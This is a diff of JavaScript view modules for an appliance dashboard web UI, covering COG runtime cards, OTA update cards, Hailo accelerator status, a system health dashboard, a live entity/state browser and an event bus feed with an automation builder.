// ── Installed COG card ───────────────────────────────────────────────
|
||||
function installedCogCard(c) {
|
||||
const verified = c.sha256_verified && c.signature_verified;
|
||||
const shield = h(`span.shield.${verified ? 'ok' : 'bad'}`, (verified ? '✓ ' : '✗ ') + 'verified');
|
||||
const archPill = c.arch === 'hailo10' ? pill('hailo10', 'purple') : pill('arm', 'cyan');
|
||||
|
||||
const body = h('div',
|
||||
h('.flex.spread',
|
||||
h('strong.mono', `${c.id} ${c.version}`),
|
||||
statusPill(c.status)),
|
||||
h('.flex.wrap.gap-sm.mt', archPill, shield,
|
||||
h('span.t2', 'PID '), mono(c.pid == null ? '—' : c.pid)));
|
||||
|
||||
if (c.status === 'failed' && c.error) {
|
||||
body.appendChild(h('.red.mt', { style: { fontFamily: 'var(--mono)', fontSize: '12px' } }, c.error));
|
||||
}
|
||||
|
||||
// action ghost buttons
|
||||
const actions = h('.flex.wrap.gap-sm.mt',
|
||||
button('Start', { onClick: () => {} }),
|
||||
button('Stop', { onClick: () => {} }),
|
||||
button('Restart', { onClick: () => {} }));
|
||||
body.appendChild(actions);
|
||||
|
||||
// View logs drawer
|
||||
const logDrawer = h('pre.log.mt.hidden', logText(c));
|
||||
let logsOpen = false;
|
||||
const logsBtn = button('View logs', {
|
||||
onClick: () => { logsOpen = !logsOpen; logDrawer.classList.toggle('hidden', !logsOpen); logsBtn.textContent = logsOpen ? 'Hide logs' : 'View logs'; },
|
||||
});
|
||||
actions.appendChild(logsBtn);
|
||||
|
||||
// Edit config.json drawer (textarea, no persistence)
|
||||
const cfgArea = h('textarea.json.mt.hidden', { rows: 8, spellcheck: 'false' });
|
||||
cfgArea.value = configJson(c);
|
||||
let cfgOpen = false;
|
||||
const cfgBtn = button('Edit config.json', {
|
||||
onClick: () => { cfgOpen = !cfgOpen; cfgArea.classList.toggle('hidden', !cfgOpen); cfgBtn.textContent = cfgOpen ? 'Close config' : 'Edit config.json'; },
|
||||
});
|
||||
actions.appendChild(cfgBtn);
|
||||
|
||||
body.appendChild(logDrawer);
|
||||
body.appendChild(cfgArea);
|
||||
|
||||
return card({ tint: c.status === 'failed' ? 'red' : null, children: [body] });
|
||||
}
|
||||
|
||||
function logText(c) {
|
||||
if (c.status === 'failed' && c.error) {
|
||||
return [
|
||||
`[error] ${c.id} v${c.version} exited`,
|
||||
`[error] ${c.error}`,
|
||||
`[info] supervisor: marking ${c.id} failed; PID was ${c.pid == null ? 'none' : c.pid}`,
|
||||
].join('\n');
|
||||
}
|
||||
if (c.status === 'stopped') {
|
||||
return `[info] ${c.id} v${c.version} stopped by operator\n[info] supervisor: PID released`;
|
||||
}
|
||||
return [
|
||||
`[info] ${c.id} v${c.version} running (pid ${c.pid})`,
|
||||
`[info] arch=${c.arch} sha256_verified=${c.sha256_verified} signature_verified=${c.signature_verified}`,
|
||||
c.arch === 'hailo10' ? `[info] hailo: ${asArray(c.hef).join(', ') || 'no HEF loaded'} @ ${c.throughput_fps || '—'} fps` : '[info] cpu-only worker, no Hailo offload',
|
||||
'[info] heartbeat ok',
|
||||
].join('\n');
|
||||
}
|
||||
|
||||
function configJson(c) {
|
||||
const cfg = {
|
||||
id: c.id,
|
||||
version: c.version,
|
||||
arch: c.arch,
|
||||
autostart: c.status !== 'stopped',
|
||||
};
|
||||
if (c.arch === 'hailo10') {
|
||||
cfg.hef = asArray(c.hef);
|
||||
cfg.target_fps = c.throughput_fps || null;
|
||||
}
|
||||
return JSON.stringify(cfg, null, 2);
|
||||
}
|
||||
|
||||
// Coerce a forwarded manifest `hef` (array | string | object | null) into an
|
||||
// array so a non-array value degrades gracefully instead of throwing on
|
||||
// .forEach/.join/.length (the gateway forwards it verbatim — §11).
|
||||
function asArray(v) {
|
||||
if (Array.isArray(v)) return v;
|
||||
if (v == null || v === '') return [];
|
||||
return [v];
|
||||
}
|
||||
|
||||
// ── OTA update diff card ─────────────────────────────────────────────
|
||||
function updateCard(u) {
|
||||
const diff = h('div',
|
||||
h('.flex.gap-sm',
|
||||
h('strong.mono', u.id),
|
||||
mono(u.from), h('span.t3', '→'), h('span.mono.green', u.to)),
|
||||
diffList('New entities', u.new_entities, 'green'),
|
||||
diffList('Config changes', u.config_changes, 'amber'),
|
||||
h('.flex.gap-sm.mt',
|
||||
button('Update', { variant: 'primary', onClick: () => {} }),
|
||||
button('Skip', { onClick: () => {} })));
|
||||
return card({ children: [diff] });
|
||||
}
|
||||
|
||||
function diffList(title, items, color) {
|
||||
if (!items || !items.length) return null;
|
||||
const list = h('div.mt', h('h3', title));
|
||||
items.forEach((e) => list.appendChild(h('.row', h(`span.mono.${color}`, e))));
|
||||
return list;
|
||||
}
|
||||
|
||||
// ── Hailo HEF status ─────────────────────────────────────────────────
|
||||
function hailoStatus(cogs, workerStatus = 'unknown') {
|
||||
const hailoCogs = cogs.filter((c) => c.arch === 'hailo10');
|
||||
// statusPill maps 'running'/'connected'→green, 'unreachable'/'error'→red,
|
||||
// 'unknown'→grey; the real probe drives the colour, never a hardcode.
|
||||
const worker = h('.flex.gap-sm', statusPill(workerStatus), h('span.mono.t2', 'ruvector-hailo-worker:50051'));
|
||||
const body = h('div', worker);
|
||||
|
||||
if (!hailoCogs.length) {
|
||||
body.appendChild(h('.muted-empty', 'No Hailo-sourced COGs loaded.'));
|
||||
} else {
|
||||
hailoCogs.forEach((c) => {
|
||||
const hef = asArray(c.hef); // gateway forwards manifest `hef` verbatim — may be a string
|
||||
const hefRows = h('div',
|
||||
h('.flex.spread', h('strong.mono', `${c.id} ${c.version}`), pill((c.throughput_fps || 0) + ' fps', 'purple')));
|
||||
hef.forEach((f) => hefRows.appendChild(h('.row', h('span.mono.purple', f), h('span.t2', 'loaded'))));
|
||||
if (!hef.length) hefRows.appendChild(h('.muted-empty', 'no .hef files loaded'));
|
||||
body.appendChild(h('.mt', hefRows));
|
||||
});
|
||||
}
|
||||
|
||||
body.appendChild(h('.t3.mt', { style: { fontSize: '12px' } },
|
||||
'RF Foundation Encoder (ADR-150) will appear here once available.'));
|
||||
return card({ children: [body] });
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
// §4.1 System Dashboard — the "home screen".
|
||||
// v0 Appliance health strip (always top) + SEED fleet overview +
|
||||
// ESP32 summary + COG runtime status row + event-bus sparkline.
|
||||
|
||||
import { h, clear, card, metric, pill, statusPill, sectionHeader, sparkline, provenanceBadge } from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'System Dashboard' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
root.appendChild(sectionHeader('System Dashboard', 'Cognitum v0 Appliance — the machine you are looking at'));
|
||||
if (api.anyDemo()) root.appendChild(h('.banner.amber', 'DEMO mode (?demo=1) — panels show contract-conformant fixture data, not live (ADR-131 §2.2).'));
|
||||
|
||||
// Each section loads independently so one offline upstream can't blank
|
||||
// the dashboard (§11.1). A failed section renders a typed error card.
|
||||
let cleanupEvent = () => {};
|
||||
|
||||
// ── v0 Appliance health strip (always at top) ──────────────────
|
||||
await section(root, 'v0 Appliance health', async () => {
|
||||
const a = await api.appliance();
|
||||
const strip = h('.metric-grid',
|
||||
metric({ icon: '🖥', value: pctOrNA(a.cpu_pct), label: 'CPU' }),
|
||||
metric({ icon: '🧠', value: pctOrNA(a.ram_pct), label: 'RAM' }),
|
||||
metric({ icon: '⚡', value: pctOrNA(a.hailo_load_pct), label: 'Hailo-10H load' }),
|
||||
metric({ icon: '🌡', value: unitOrNA(a.hailo_temp_c, '°C'), label: 'Hailo temp' }),
|
||||
metric({ icon: '⏱', value: fmtUptime(a.uptime_s), label: 'Uptime', color: 'green' }));
|
||||
const healthCard = card({ title: 'v0 Appliance health', children: [strip, servicesRow(a.services)] });
|
||||
return h('div', healthCard, eventBus(a, ctx, (fn) => { cleanupEvent = fn; }));
|
||||
});
|
||||
|
||||
// ── SEED fleet overview + ESP32 summary ────────────────────────
|
||||
await section(root, 'SEED Fleet', async () => {
|
||||
const wrap = h('div');
|
||||
const seeds = await api.seeds();
|
||||
const warnings = await api.esp32Warnings().catch(() => []);
|
||||
const grid = h('.grid.cols-3');
|
||||
seeds.forEach((s) => grid.appendChild(seedCard(s, ctx)));
|
||||
wrap.appendChild(h('h2', 'SEED Fleet'));
|
||||
wrap.appendChild(grid);
|
||||
wrap.appendChild(esp32Summary(seeds, warnings));
|
||||
return wrap;
|
||||
});
|
||||
|
||||
// ── COG runtime status row ─────────────────────────────────────
|
||||
await section(root, 'COG Runtime', async () => cogRow(await api.cogs(), ctx));
|
||||
|
||||
return () => cleanupEvent();
|
||||
},
|
||||
};
|
||||
|
||||
// Run one dashboard section; on failure append a typed error card instead
|
||||
// of throwing (so the rest of the dashboard still renders).
|
||||
async function section(root, label, build) {
|
||||
try { root.appendChild(await build()); }
|
||||
catch (e) {
|
||||
root.appendChild(card({ children: [
|
||||
h('.banner.red', `${label} unavailable — ${e && e.message ? e.message : e}`),
|
||||
h('small.ts', e && e.upstreamUnavailable ? 'upstream not yet wired (ADR-131 §12)' : 'check the gateway / homecore-server'),
|
||||
] }));
|
||||
}
|
||||
}
|
||||
|
||||
function servicesRow(services) {
|
||||
const wrap = h('.flex.wrap.mt');
|
||||
services.forEach((s) => wrap.appendChild(h('span.flex.gap-sm', statusPill(s.status), h('span.mono.t2', `${s.name}:${s.port}`))));
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function seedCard(s, ctx) {
|
||||
const offline = !s.online;
|
||||
const c = card({
|
||||
tint: offline ? 'red' : null, clickable: true,
|
||||
onClick: () => ctx.navigate('#/seed/' + s.device_id),
|
||||
children: [
|
||||
h('.flex.spread', h('strong.mono', s.device_id), statusPill(s.online ? 'online' : 'offline')),
|
||||
h('.kv.mt',
|
||||
h('span.k', 'Firmware'), h('span.v.mono', s.firmware),
|
||||
h('span.k', 'Epoch'), h('span.v.purple', String(s.epoch)),
|
||||
h('span.k', 'Vectors'), h('span.v', s.vector_count.toLocaleString()),
|
||||
h('span.k', 'Last ingest'), h('span.v', relAgo(s.last_ingest)),
|
||||
h('span.k', 'Witness'), s.witness_valid ? pill('valid', 'green') : pill('invalid', 'red')),
|
||||
sensorSummary(s.sensors),
|
||||
],
|
||||
});
|
||||
return c;
|
||||
}
|
||||
|
||||
function sensorSummary(sensors) {
|
||||
if (!sensors) return h('.muted-empty', 'sensors offline');
|
||||
return h('.flex.wrap.gap-sm.mt',
|
||||
pill('PIR ' + (sensors.pir.motion ? 'motion' : 'still'), sensors.pir.motion ? 'amber' : 'grey'),
|
||||
pill('door ' + (sensors.reed.open ? 'open' : 'closed'), sensors.reed.open ? 'amber' : 'grey'),
|
||||
pill(sensors.bme280.temp_c + '°C', 'cyan'));
|
||||
}
|
||||
|
||||
function esp32Summary(seeds, warnings) {
|
||||
const total = seeds.reduce((n, s) => n + s.esp32_nodes, 0);
|
||||
const body = h('div',
|
||||
h('.flex.wrap',
|
||||
...seeds.filter((s) => s.esp32_nodes > 0).map((s) =>
|
||||
h('span.flex.gap-sm', h('span.mono.t2', s.device_id), pill(s.esp32_nodes + ' nodes', 'cyan'), h('span.t2', s.frame_rate_hz + ' Hz')))));
|
||||
if (warnings.length) {
|
||||
body.appendChild(h('.mt', h('h3', 'Warnings (target 100 Hz CSI + 1 Hz vectors)')));
|
||||
warnings.forEach((w) => body.appendChild(h('.row', h('span.mono', w.node_id), h('span.amber', w.issue))));
|
||||
}
|
||||
return card({ title: `ESP32 Nodes — ${total} active`, children: [body] });
|
||||
}
|
||||
|
||||
function cogRow(cogs, ctx) {
|
||||
const row = h('.flex.wrap.gap-sm');
|
||||
cogs.forEach((c) => {
|
||||
const p = statusPill(c.status);
|
||||
const wrap = h('span.flex.gap-sm.clickable', { style: { cursor: 'pointer' }, onClick: () => ctx.navigate('#/cogs') },
|
||||
p, h('span.mono.t2', c.id), c.arch === 'hailo10' ? pill('hailo', 'purple') : null);
|
||||
row.appendChild(wrap);
|
||||
});
|
||||
return card({ title: 'COG Runtime', children: [row] });
|
||||
}
|
||||
|
||||
function eventBus(a, ctx, setCleanup) {
|
||||
const rates = a.event_rate || [];
|
||||
const spark = sparkline(rates, { w: 240, hgt: 36 });
|
||||
const rate = rates.length ? rates[rates.length - 1] : 0;
|
||||
const lag = a.channel_lag || 0;
|
||||
const cap = a.channel_capacity || 4096;
|
||||
const body = h('div',
|
||||
h('.flex.spread', h('span.val.cyan', { style: { fontSize: '20px' } }, rate + ' ev/s'),
|
||||
h('span.t2', `capacity ${cap.toLocaleString()}`)),
|
||||
spark);
|
||||
if (lag > 0) body.appendChild(h('.banner.amber.mt', `Subscriber falling behind — ${lag} events lagged against the ${cap.toLocaleString()} capacity`));
|
||||
const host = h('span.t2');
|
||||
const un = ctx.onWs((st) => { clear(host); host.appendChild(document.createTextNode(st.state === 'open' ? (st.lagged ? ' · WS lagging' : ' · WS live') : ' · WS offline')); });
|
||||
body.appendChild(host);
|
||||
if (setCleanup) setCleanup(un);
|
||||
return card({ title: 'Event Bus activity', children: [body] });
|
||||
}
|
||||
|
||||
// §6 honesty: a null/undefined metric must render a distinct not-available
|
||||
// state ('—'), never a fabricated value like "null%"/"null°C".
|
||||
function pctOrNA(v) { return v == null ? '—' : v + '%'; }
|
||||
function unitOrNA(v, unit) { return v == null ? '—' : v + unit; }
|
||||
|
||||
function fmtUptime(s) {
|
||||
if (s == null) return '—';
|
||||
const d = Math.floor(s / 86400), hh = Math.floor((s % 86400) / 3600);
|
||||
return d > 0 ? `${d}d ${hh}h` : `${hh}h`;
|
||||
}
|
||||
function relAgo(iso) {
|
||||
const s = Math.round((Date.now() - Date.parse(iso)) / 1000);
|
||||
if (s < 60) return s + 's ago';
|
||||
if (s < 3600) return Math.round(s / 60) + 'm ago';
|
||||
return Math.round(s / 3600) + 'h ago';
|
||||
}
|
||||
@@ -0,0 +1,240 @@
|
||||
// §4.4 Entity & State Browser — live /api/states (real homecore REST).
|
||||
//
|
||||
// Entities grouped by domain (prefix before '.') in collapsible sections.
|
||||
// Each row carries entity_id (mono), current state, last-changed (relTime),
|
||||
// an INLINE provenanceBadge (§6 invariant 1 — SEED chain never collapsed),
|
||||
// and a collapsible attributes JSON view. A keyword filter (entity_id +
|
||||
// attribute keys/values) runs live; semantic search (ADR-132) is a future
|
||||
// hint. State changes arrive over WebSocket (ctx.onEvent) — rows patch in
|
||||
// place and flash; NEVER poll. The broadcast-channel lag indicator
|
||||
// (ctx.onWs) warns when the subscriber falls behind the 4,096 capacity.
|
||||
|
||||
import {
|
||||
h, clear, card, pill, sectionHeader, mono, provenanceBadge,
|
||||
slideover, collapsible, lagIndicator, relTime, banner,
|
||||
} from '../ui.js';
|
||||
import { api, entityProvenance } from '../api.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Entities' },
|
||||
async render(root, ctx) {
|
||||
root.appendChild(sectionHeader('Entity & State Browser', 'Live /api/states — every entity, grouped by domain, with SEED provenance'));
|
||||
|
||||
// ── lag indicator (broadcast channel vs 4,096 capacity) ─────────
|
||||
const lagHost = h('.flex.spread.mb');
|
||||
const lagSlot = h('span', lagIndicator('connecting', false));
|
||||
lagHost.appendChild(lagSlot);
|
||||
root.appendChild(lagHost);
|
||||
|
||||
// ── search / filter controls ────────────────────────────────────
|
||||
const search = h('input.search', {
|
||||
type: 'text',
|
||||
placeholder: 'Filter entities — id, attribute keys & values (case-insensitive)…',
|
||||
});
|
||||
const semantic = h('input.search', { type: 'text', placeholder: 'Semantic search (ADR-132)' });
|
||||
semantic.disabled = true;
|
||||
semantic.style.opacity = '0.5';
|
||||
root.appendChild(h('.flex.wrap.mb', { style: { gap: '8px' } },
|
||||
h('div', { style: { flex: '2', minWidth: '220px' } }, search),
|
||||
h('div', { style: { flex: '1', minWidth: '180px' } }, semantic)));
|
||||
|
||||
// ── load live state view ────────────────────────────────────────
|
||||
const listHost = h('div');
|
||||
root.appendChild(listHost);
|
||||
|
||||
// Production /api/states now THROWS on failure — there is NO mock
|
||||
// fallback. A failed load is an error state, not a DEMO substitution.
|
||||
let states;
|
||||
try {
|
||||
states = await api.states();
|
||||
} catch (e) {
|
||||
listHost.appendChild(banner('/api/states unavailable — ' + (e && e.message ? e.message : e), 'red'));
|
||||
return () => {};
|
||||
}
|
||||
if (!Array.isArray(states)) states = [];
|
||||
|
||||
// Demo mode legitimately serves fixtures (demoFlags.states is set by a
|
||||
// successful api.states() in demo mode) — label that, not a fallback.
|
||||
if (api.isDemo('states')) {
|
||||
root.insertBefore(banner('Demo mode — showing contract-conformant fixture entities (§7.1).', 'amber'), listHost);
|
||||
}
|
||||
|
||||
// index by entity_id so WS patches are O(1)
|
||||
const byId = new Map();
|
||||
states.forEach((s) => byId.set(s.entity_id, s));
|
||||
// per-entity row controllers (set state text + flash)
|
||||
const rows = new Map();
|
||||
|
||||
function render() {
|
||||
clear(listHost);
|
||||
const q = search.value.trim().toLowerCase();
|
||||
const groups = groupByDomain([...byId.values()], q);
|
||||
if (!groups.size) {
|
||||
listHost.appendChild(h('.muted-empty', q ? 'No entities match the filter.' : 'No entities reported.'));
|
||||
return;
|
||||
}
|
||||
// stable alphabetical domain order
|
||||
[...groups.keys()].sort().forEach((domain) => {
|
||||
const ents = groups.get(domain).sort((a, b) => a.entity_id.localeCompare(b.entity_id));
|
||||
const header = h('.flex.gap-sm', h('strong.mono', domain), pill(ents.length, 'cyan'));
|
||||
const section = collapsible(header, () => {
|
||||
const body = h('div');
|
||||
ents.forEach((e) => body.appendChild(entityRow(e)));
|
||||
return body;
|
||||
}, true);
|
||||
listHost.appendChild(card({ children: [section] }));
|
||||
});
|
||||
}
|
||||
|
||||
function entityRow(e) {
|
||||
const stateText = h('span.t1.mono', String(e.state));
|
||||
const changed = h('span.t3', relTime(e.last_changed));
|
||||
const top = h('.flex.spread', { style: { cursor: 'pointer', gap: '12px' }, onClick: () => openDetail(e) },
|
||||
h('.flex.wrap.gap-sm', { style: { flex: '1', minWidth: '0' } },
|
||||
mono(e.entity_id),
|
||||
stateText,
|
||||
changed),
|
||||
// SEED provenance badge — INLINE, never collapsed (§6 invariant 1)
|
||||
provenanceBadge(entityProvenance(e)));
|
||||
const attrs = collapsible(h('span.t2', 'attributes'),
|
||||
() => h('pre.json', JSON.stringify(e.attributes || {}, null, 2)), false);
|
||||
const wrap = h('.entity-row', { style: { padding: '8px 0', borderBottom: '0.67px solid var(--border)' } }, top, attrs);
|
||||
rows.set(e.entity_id, { stateText, changed, wrap });
|
||||
return wrap;
|
||||
}
|
||||
|
||||
function openDetail(e) {
|
||||
const chain = contextChain(e.context, byId);
|
||||
const content = h('div',
|
||||
h('.kv',
|
||||
h('span.k', 'entity_id'), h('span.v.mono', e.entity_id),
|
||||
h('span.k', 'state'), h('span.v.mono', String(e.state)),
|
||||
h('span.k', 'last changed'), h('span.v', relTime(e.last_changed)),
|
||||
h('span.k', 'last updated'), h('span.v', relTime(e.last_updated))),
|
||||
h('.mt', h('h3', 'Provenance'), provenanceBadge(entityProvenance(e))),
|
||||
h('.mt', h('h3', 'Context causality'), chain),
|
||||
h('.mt', h('h3', 'Attributes'), h('pre.json', JSON.stringify(e.attributes || {}, null, 2))));
|
||||
slideover(e.entity_id, content);
|
||||
}
|
||||
|
||||
render();
|
||||
search.addEventListener('input', render);
|
||||
|
||||
// ── live WebSocket: patch state in place + flash (never poll) ────
|
||||
const unEvent = ctx.onEvent((ev) => {
|
||||
if (!ev || ev.event_type !== 'state_changed' || !ev.entity_id) return;
|
||||
const cur = byId.get(ev.entity_id);
|
||||
const ns = ev.new_state || {};
|
||||
if (cur) {
|
||||
// merge live fields onto the existing record
|
||||
cur.state = ns.state != null ? ns.state : cur.state;
|
||||
if (ns.attributes) cur.attributes = ns.attributes;
|
||||
if (ns.last_changed) cur.last_changed = ns.last_changed;
|
||||
if (ns.last_updated) cur.last_updated = ns.last_updated;
|
||||
if (ns.context) cur.context = ns.context;
|
||||
patchRow(ev.entity_id);
|
||||
} else {
|
||||
// a newly-appeared entity — fold it in and re-render the group
|
||||
byId.set(ev.entity_id, {
|
||||
entity_id: ev.entity_id,
|
||||
state: ns.state != null ? ns.state : 'unknown',
|
||||
attributes: ns.attributes || {},
|
||||
last_changed: ns.last_changed || new Date().toISOString(),
|
||||
last_updated: ns.last_updated || new Date().toISOString(),
|
||||
context: ns.context || { id: null, user_id: null, parent_id: null },
|
||||
});
|
||||
render();
|
||||
patchRow(ev.entity_id);
|
||||
}
|
||||
});
|
||||
|
||||
function patchRow(id) {
|
||||
const e = byId.get(id);
|
||||
const r = rows.get(id);
|
||||
if (!e || !r) return;
|
||||
r.stateText.textContent = String(e.state);
|
||||
r.changed.textContent = relTime(e.last_changed);
|
||||
// flash cyan then revert after 800ms (§4.4 live feedback)
|
||||
r.stateText.style.color = 'var(--cyan)';
|
||||
r.stateText.style.transition = 'none';
|
||||
setTimeout(() => {
|
||||
r.stateText.style.transition = 'color .6s ease';
|
||||
r.stateText.style.color = '';
|
||||
}, 800);
|
||||
}
|
||||
|
||||
// ── broadcast-channel lag indicator ─────────────────────────────
|
||||
const unWs = ctx.onWs((st) => {
|
||||
clear(lagSlot);
|
||||
lagSlot.appendChild(lagIndicator(st.state, st.lagged));
|
||||
if (st.lagged) {
|
||||
lagSlot.title = 'Subscriber behind the 4,096-event capacity — some state_changed events were dropped';
|
||||
}
|
||||
});
|
||||
|
||||
return () => { unEvent(); unWs(); };
|
||||
},
|
||||
};
|
||||
|
||||
/**
|
||||
* Group entities by domain (prefix before the first '.'), applying the
|
||||
* keyword filter across entity_id AND attribute keys/values.
|
||||
*/
|
||||
function groupByDomain(entities, q) {
|
||||
const groups = new Map();
|
||||
for (const e of entities) {
|
||||
if (q && !matches(e, q)) continue;
|
||||
const dot = e.entity_id.indexOf('.');
|
||||
const domain = dot > 0 ? e.entity_id.slice(0, dot) : '(no domain)';
|
||||
if (!groups.has(domain)) groups.set(domain, []);
|
||||
groups.get(domain).push(e);
|
||||
}
|
||||
return groups;
|
||||
}
|
||||
|
||||
/** Case-insensitive match across entity_id, state and attribute keys/values. */
|
||||
function matches(e, q) {
|
||||
if (e.entity_id.toLowerCase().includes(q)) return true;
|
||||
if (String(e.state).toLowerCase().includes(q)) return true;
|
||||
const attrs = e.attributes || {};
|
||||
for (const [k, v] of Object.entries(attrs)) {
|
||||
if (k.toLowerCase().includes(q)) return true;
|
||||
try {
|
||||
if (String(typeof v === 'object' ? JSON.stringify(v) : v).toLowerCase().includes(q)) return true;
|
||||
} catch (_) { /* circular/unstringifiable — skip */ }
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Render the Context causality chain (context.id → parent_id) as a mono
|
||||
* breadcrumb trail. Walks parent_id up through known contexts when the
|
||||
* parent entity is present, otherwise shows the raw id.
|
||||
*/
|
||||
function contextChain(ctxObj, byId) {
|
||||
if (!ctxObj || !ctxObj.id) return h('span.t3', 'no context');
|
||||
const seen = new Set();
|
||||
const ids = [];
|
||||
let cur = ctxObj;
|
||||
while (cur && cur.id && !seen.has(cur.id)) {
|
||||
seen.add(cur.id);
|
||||
ids.unshift(cur.id);
|
||||
if (!cur.parent_id) break;
|
||||
ids.unshift(cur.parent_id);
|
||||
seen.add(cur.parent_id);
|
||||
cur = findContext(cur.parent_id, byId);
|
||||
}
|
||||
const trail = h('.flex.wrap.gap-sm');
|
||||
ids.forEach((id, i) => {
|
||||
if (i > 0) trail.appendChild(h('span.arr.t3', '→'));
|
||||
trail.appendChild(mono(id));
|
||||
});
|
||||
return trail;
|
||||
}
|
||||
|
||||
function findContext(id, byId) {
|
||||
for (const e of byId.values()) {
|
||||
if (e.context && e.context.id === id) return e.context;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,308 @@
|
||||
// §4.8 Event Bus & Automation Feed — ADR-131 / ADR-129.
|
||||
//
|
||||
// Live event stream (seeded from /api/events, then prepended live from
|
||||
// the shared WS bus — never polled, §2/§4.4), a context-causality
|
||||
// breadcrumb on row expand (Context.id → parent_id → grandparent_id),
|
||||
// and a trigger→condition→action automation builder (ADR-129 scope:
|
||||
// UI-only, no backend persistence — rules live in a local array).
|
||||
|
||||
import {
|
||||
h, clear, card, pill, statusPill, sectionHeader, mono, relTime,
|
||||
collapsible, lagIndicator, button, banner,
|
||||
} from '../ui.js';
|
||||
|
||||
const MAX_ROWS = 200; // virtualization-lite: cap DOM rows, drop oldest.
|
||||
|
||||
// event-type → pill colour variant (§4.8).
|
||||
const VARIANT = {
|
||||
StateChanged: 'cyan',
|
||||
EntityRegistered: 'green',
|
||||
ConfigReloaded: 'purple',
|
||||
};
|
||||
function typePill(type) {
|
||||
return pill(type, VARIANT[type] || 'grey');
|
||||
}
|
||||
|
||||
// A live WS event carries event_type:'state_changed'; normalise it into
|
||||
// the same record shape as api.recentEvents() so the row renderer is one
|
||||
// code path.
|
||||
function normalizeLive(evt) {
|
||||
return {
|
||||
type: 'StateChanged',
|
||||
entity_id: evt.entity_id,
|
||||
old_state: evt.old_state,
|
||||
new_state: evt.new_state,
|
||||
ts: new Date().toISOString(),
|
||||
user_id: null,
|
||||
context: { id: null, parent_id: null, grandparent_id: null },
|
||||
source: 'live',
|
||||
_live: true,
|
||||
};
|
||||
}
|
||||
|
||||
const domainOf = (id) => String(id || '').split('.')[0] || '';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Events' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
const unsubs = [];
|
||||
|
||||
root.appendChild(sectionHeader('Event Bus & Automation', 'Live entity events + causality + automation builder (ADR-131 §4.8, ADR-129)'));
|
||||
if (api.isDemo('events')) {
|
||||
root.appendChild(banner('DEMO — event history is contract-conformant mock data until the live /api/events feed lands (§7.1). New rows still arrive over the WS bus.', 'amber'));
|
||||
}
|
||||
|
||||
// ── live lag indicator (top, fed by the shared WS bus) ──────────
|
||||
const lagHost = h('span');
|
||||
const paintLag = (st) => { clear(lagHost); lagHost.appendChild(lagIndicator(st.state, st.lagged)); };
|
||||
unsubs.push(ctx.onWs(paintLag)); // fires immediately
|
||||
|
||||
// ── filter bar (mirrors the Cog Store .search field) ────────────
|
||||
let filter = '';
|
||||
const search = h('input.search', {
|
||||
type: 'text',
|
||||
placeholder: 'Filter by entity domain · event type · source (e.g. "sensor", "ConfigReloaded", "seed-")',
|
||||
});
|
||||
search.addEventListener('input', () => { filter = search.value.trim().toLowerCase(); applyFilter(); });
|
||||
|
||||
const list = h('.event-stream', { style: { maxHeight: '460px', overflowY: 'auto' } });
|
||||
let rows = []; // { record, node } newest-first, capped to MAX_ROWS.
|
||||
|
||||
function matches(rec) {
|
||||
if (!filter) return true;
|
||||
const hay = [rec.type, rec.entity_id, domainOf(rec.entity_id), rec.source, rec.user_id]
|
||||
.filter(Boolean).join(' ').toLowerCase();
|
||||
return hay.includes(filter);
|
||||
}
|
||||
function applyFilter() {
|
||||
for (const r of rows) r.node.classList.toggle('hidden', !matches(r.record));
|
||||
}
|
||||
|
||||
function prepend(rec) {
|
||||
const node = eventRow(rec);
|
||||
rows.unshift({ record: rec, node });
|
||||
list.insertBefore(node, list.firstChild);
|
||||
node.classList.toggle('hidden', !matches(rec));
|
||||
while (rows.length > MAX_ROWS) {
|
||||
const old = rows.pop();
|
||||
if (old.node.parentNode) old.node.parentNode.removeChild(old.node);
|
||||
}
|
||||
}
|
||||
|
||||
// seed from history (oldest first → prepend so newest ends on top).
|
||||
// Wrap ONLY the history load: a missing/unwired recorder must NOT fail
|
||||
// the panel — render an inline note and continue with an empty history.
|
||||
// The live ctx.onEvent feed (below) attaches regardless (§12 W3).
|
||||
let history = [];
|
||||
let historyNote = null;
|
||||
try {
|
||||
history = await api.recentEvents(40);
|
||||
} catch (e) {
|
||||
history = [];
|
||||
historyNote = banner('Event history unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (recorder not yet wired — ADR-131 §12 W3)' : ''), 'amber');
|
||||
}
|
||||
for (let i = history.length - 1; i >= 0; i--) prepend(history[i]);
|
||||
if (!rows.length) list.appendChild(h('.muted-empty', 'No events yet — live events will appear here as they arrive.'));
|
||||
|
||||
// live events prepend as they arrive (never poll).
|
||||
unsubs.push(ctx.onEvent((evt) => {
|
||||
// strip the placeholder empty-state once real rows arrive.
|
||||
const empty = list.querySelector('.muted-empty');
|
||||
if (empty) empty.remove();
|
||||
prepend(normalizeLive(evt));
|
||||
}));
|
||||
|
||||
root.appendChild(card({
|
||||
title: 'Live event stream',
|
||||
children: [historyNote, h('.flex.spread.mb', h('span.t2', 'Newest first · capped to ' + MAX_ROWS + ' rows'), lagHost), search, list],
|
||||
}));
|
||||
|
||||
// ── automation builder (ADR-129) ────────────────────────────────
|
||||
root.appendChild(automationBuilder(api));
|
||||
|
||||
return () => { unsubs.forEach((u) => { try { u(); } catch {} }); };
|
||||
},
|
||||
};
|
||||
|
||||
// ── event row + causality breadcrumb ──────────────────────────────────
|
||||
function eventRow(rec) {
|
||||
const head = h('.flex.gap-sm.wrap',
|
||||
typePill(rec.type),
|
||||
h('strong.mono', rec.entity_id),
|
||||
rec.type === 'StateChanged'
|
||||
? h('span.t2', mono(rec.old_state == null ? '∅' : rec.old_state), h('span.arr.t3', { style: { margin: '0 6px' } }, '→'), mono(rec.new_state == null ? '∅' : rec.new_state))
|
||||
: null,
|
||||
h('span', { style: { marginLeft: 'auto' } }, h('small.ts', relTime(rec.ts))),
|
||||
rec.user_id ? pill('@' + rec.user_id, 'amber') : h('small.ts', 'system'),
|
||||
rec.source ? h('span.mono.t3', rec.source) : null);
|
||||
|
||||
return h('.event-row', { style: { padding: '6px 0', borderBottom: '0.67px solid var(--border)' } },
|
||||
collapsible(head, () => causalityBreadcrumb(rec.context), false));
|
||||
}
|
||||
